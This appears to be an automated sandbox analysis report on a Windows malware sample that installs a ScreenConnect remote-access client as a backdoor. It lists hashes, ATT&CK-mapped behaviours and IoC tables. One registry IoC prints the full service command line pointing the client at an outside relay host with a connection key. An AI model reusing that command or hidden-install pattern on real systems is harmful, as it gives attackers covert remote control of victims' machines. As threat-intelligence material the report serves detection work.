bacbfc71e1abcc012e1c27211328e6774e0c10c92527a5f2f6fc2cf146ae0cc0

Analysis

max time kernel
149s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/10/2026, 22:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-30_88a1ba9b02d6c43a97a600dedbda998a_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Size 29.4MB
Sample261030-2yecpasz9j
SHA256 bacbfc71e1abcc012e1c27211328e6774e0c10c92527a5f2f6fc2cf146ae0cc0
MD5 88a1ba9b02d6c43a97a600dedbda998a
SHA1 c18e573a05af24ed69c005142150617534a80202
SHA512 c42e9a3d8ca71121faf8cf8bbfea43796c6282f95c49020308c6fd55f3db658059318079ddaaef01eb61aebe25f6b8b23afe41264bb908169174312265cf6a39
SSDEEP 786432:qSc8BKoVj/8BKoV+8BKoVG8BKoVH8BKoVM8BKoVK8BKoVy8BKoVN:q2BKZBKWBKyBKrBK6BKaBKUBKS
TLSH
T1F2672305B3E56562E4BF0B39C87A6210A675BC454B62D36F1760BB3F1D32BC09E213A7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor discovery persistence ransomware rat

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	6012	rundll32.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (353649c04de1ef22)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (353649c04de1ef22)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=screlay.12systems.de&p=443&s=5f53e410-1b94-4304-b513-501c99f2ab0b&k=BgIAAACkAABSU0ExAAgAAAEAAQA70b8fsR%2bDHul%2f8IC4fkMd15hSEcuAz6n%2fRPXQh4t22qM6yPmuC2LX15zIoc6PSO258Ab506SK5LLv042w3ZTuBuXDCgQqGq1wAi1CdCoiWSpYLJFbmhlLUEIcnDMKSXrc4BEHLPQtWK3zNtVWCnf6Bhp4wMuGbCLVjZgNLJnuT8kACjD5oOJ7Stqb5KFYE7VcS7BJq3ugKQSzP29MTtlNKZKNs8RkY3QEfCjrJy9C4QXEs%2br3Dbo4FJa%2fZoL4f5fXlHBiWBmlY2MT8QvSUMeZEdFutWK6bJxGVfFREZxdYzO4zOgAy1e6sxhe9rq4PENeV0C3uQJiwkLrgz4VfwTI&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAFEjWruPvrUmsznqaGT3L2AAAAAACAAAAAAAQZgAAAAEAACAAAABuvqF%2fzzLK2AMwq21KPbvHMBnRPMvGlYFnkw73xtf71QAAAAAOgAAAAAIAACAAAADgIkQnoZa9Im5cLFoyNbU7gFiTKJalUSfEBQFefu0f1KAEAADWjufaOvnyX9fBVDlfWJZChv2%2bhxHSUMjrd%2btPIDMI8FiZafQJStjyJKdSdXv3AiAgor2QeQfeXi0oZFAT03dd1vtcObSFQkt%2fryq3uvhs2AKeVEsp%2foUKrADYN3MMuOpaxUToP3gJlG0SiYU%2fy%2f%2f0yM6p0%2fEMhtGXjaeKCCkggi8zeM%2b3DeIDg9lv53CJ7C9WrPbO2UU5IyKAhvtzxgbEIN80uoDjlvUZjl%2bZgC%2brNb9MP5aHceHQHAIOlIrMT08uojcTfHwtBpUBGwZrELFKd4sluR3kvswd9trO89O%2b1u2qIC3AltYC03Xf5OfhHR4I2xXE9BuytbtKqKIAGseGOus8JWfCloAOXxReGAiY%2fNlkkau0QUVELaoAUoVWC4R0qS6mYgt%2b7pZbcUct3L8Edam63VTR5xSYQQbBNNjeVquHXRLAKEe4WEBdgssA0J0Ij5P9ObG3Mhm4iWb01FUd8r3rAMstdXQywCzBAzV1IyU1Hn9e%2bmHNiwwfgo2f3lZFBswI6N8cGXB0KwfkQCe8BKF4AjuygFhYavbCCorB40lIbccrIyqwZTSuYeFh8JOaWb4bDxpAPif%2fI19r9DPYVfSmFqsJpzaxcrIjsthvvTkxi4KLQqonSNXNIl0aZKnjVLkfvPALq5TJKEbZYMcXdSNl1bT6jqd8%2fZtrBJ8mNUO%2fJ6iSwBZ%2favhcEZlnimXlITLqSturBEkAQwXW%2fKO5Cd5%2fSwa5Atsfj1scYjc6angfGU3zCnGyXK5Cz15KYCcztYC5YnxIDzfDOVWl7V1nt4Xg4iAMC5KOfdUL9bo84Yq4zLpPnKSEuH8o7WLtfsOSgl5KhEUpoL%2bqqSLhgzLmEuwKDomh4UakMCP589T1Uer%2bOam4vS0jkGoreZSZ98Q2HjK03f5vjj4%2fDlI00adihfwriaAwjdgvWqbR%2bJSq0tBUKV1pYla6UThvh0EYJvO7mZX1R%2f7Wf3qXaPdi%2bHBUQ1e0lYtbD%2fYk6DjzaUwPAGRVz2oAT4KSeiIPuaYBIC7bgh3JLc9d6ODpVkwWXEL42uBaY9gyuGgQlEBmRJq%2b88FslFv7%2fQWGBGainGPnTP3MaEG2nY6EYcB43vQqKbgces%2b3sJ%2bKWSz5yNXp22xReUx%2f7URZKIQgtTAbbDyiVvEdzpJqAYUC31X2gGH4bOEl0emIGKg1T3mosGVZESjCTkkJz1KxOC5FWY6unaQHkpCA3CI2LhmvRP6P%2bTvYwWOlbvR6eW3XgOWeOTJRsTvZ16RxdpmZTTjy%2b%2fKVmz5RApZkLyp3j6YXsMfzHLmp9LeiaawI%2fxx1YGOpqO1npd1y9VY3kVVdt%2bb0q1GoS4qTgRePd7T%2fr6IEjRKB72BrXtK%2byuXIG%2fb82RS6uC1F2xLZqnmE6BLgnLdNnYGKA88EZcX3%2b%2brieKuDZiFeidnaGMfLdlE%2bel5FIoviSM0HUXd1xTnbITJhn8hVhAyBkW9ahaDpCe8onJJuSmUWYX9VQKOrURIs2FIiHaozOvh6wpMGBJbxl%2by9tC8E75Blpikivxxn%2bj%2b6bKSpnPV3L%2fxZcRqeFYfAaChEnBcJ6WzQxnyXU0AAAAC4gyS%2fy7KW%2fsZG1vo6p5po4%2fZLBYXShA47Z%2fySa1YW0rnw8gARmn8d8j5KaJcx1c8Ic%2bFp42TL5SGDmRvYj%2bvO\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\qgvhjaav.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\osetabhd.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\osetabhd.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\osetabhd.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\nqsrbm3b.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\nqsrbm3b.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\nqsrbm3b.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\user.config	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\qgvhjaav.tmp	ScreenConnect.ClientService.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\Client.Override.de.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\app.config	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File created	C:\Windows\Installer\{2430DAB4-3F08-A90E-51C0-C9370A5C1CE0}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2C90.tmp	msiexec.exe
File created	C:\Windows\Installer\e5a233b.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF6E74C73DFE2DA881.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2AD675AC5CFF6DEF.TMP	msiexec.exe
File created	C:\Windows\Installer\e5a2339.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{2430DAB4-3F08-A90E-51C0-C9370A5C1CE0}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF0A1F6B1BA5DDE4DD.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2E76.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{2430DAB4-3F08-A90E-51C0-C9370A5C1CE0}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{2430DAB4-3F08-A90E-51C0-C9370A5C1CE0}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a2339.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1C2D6144CD180D18.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2C32.tmp	msiexec.exe

Executes dropped EXE 3 IoCs

pid	Process
1656	ScreenConnect.ClientService.exe
4936	ScreenConnect.WindowsClient.exe
3544	ScreenConnect.WindowsClient.exe

Loads dropped DLL 42 IoCs

pid	Process
3312	MsiExec.exe
5240	rundll32.exe
5240	rundll32.exe
5240	rundll32.exe
5240	rundll32.exe
5240	rundll32.exe
5240	rundll32.exe
5240	rundll32.exe
5240	rundll32.exe
5240	rundll32.exe
3312	MsiExec.exe
6012	rundll32.exe
6012	rundll32.exe
6012	rundll32.exe
6012	rundll32.exe
6012	rundll32.exe
6012	rundll32.exe
6012	rundll32.exe
6012	rundll32.exe
6012	rundll32.exe
3312	MsiExec.exe
1120	rundll32.exe
1120	rundll32.exe
1120	rundll32.exe
1120	rundll32.exe
1120	rundll32.exe
1120	rundll32.exe
1120	rundll32.exe
1120	rundll32.exe
1120	rundll32.exe
3880	MsiExec.exe
4664	MsiExec.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-30_88a1ba9b02d6c43a97a600dedbda998a_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000430d2ae4193eb5170000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801430d2ae40000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101430d2ae4000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3430d2ae400000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6430d2ae400000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe

Modifies registry class 32 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\4BAD034280F3E09A150C9C73A0C5C10E	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E93031E8DBEF2EF65363940CD41EFE22\4BAD034280F3E09A150C9C73A0C5C10E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-353649c04de1ef22\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\PackageCode = "4BAD034280F3E09A150C9C73A0C5C10E"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\ProductIcon = "C:\\Windows\\Installer\\{2430DAB4-3F08-A90E-51C0-C9370A5C1CE0}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-353649c04de1ef22\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-353649c04de1ef22\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\4BAD034280F3E09A150C9C73A0C5C10E\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\Version = "436600838"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E93031E8DBEF2EF65363940CD41EFE22	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-353649c04de1ef22	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-353649c04de1ef22\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-353649c04de1ef22	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.6.6.9747\\353649c04de1ef22\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-353649c04de1ef22\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (353649c04de1ef22)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.6.6.9747\\353649c04de1ef22\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-353649c04de1ef22\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-353649c04de1ef22\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4BAD034280F3E09A150C9C73A0C5C10E\ProductName = "ScreenConnect Client (353649c04de1ef22)"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4248	msiexec.exe
4248	msiexec.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe
1656	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3036	2026-10-30_88a1ba9b02d6c43a97a600dedbda998a_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Token: SeShutdownPrivilege	3292	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3292	msiexec.exe
Token: SeSecurityPrivilege	4248	msiexec.exe
Token: SeCreateTokenPrivilege	3292	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3292	msiexec.exe
Token: SeLockMemoryPrivilege	3292	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3292	msiexec.exe
Token: SeMachineAccountPrivilege	3292	msiexec.exe
Token: SeTcbPrivilege	3292	msiexec.exe
Token: SeSecurityPrivilege	3292	msiexec.exe
Token: SeTakeOwnershipPrivilege	3292	msiexec.exe
Token: SeLoadDriverPrivilege	3292	msiexec.exe
Token: SeSystemProfilePrivilege	3292	msiexec.exe
Token: SeSystemtimePrivilege	3292	msiexec.exe
Token: SeProfSingleProcessPrivilege	3292	msiexec.exe
Token: SeIncBasePriorityPrivilege	3292	msiexec.exe
Token: SeCreatePagefilePrivilege	3292	msiexec.exe
Token: SeCreatePermanentPrivilege	3292	msiexec.exe
Token: SeBackupPrivilege	3292	msiexec.exe
Token: SeRestorePrivilege	3292	msiexec.exe
Token: SeShutdownPrivilege	3292	msiexec.exe
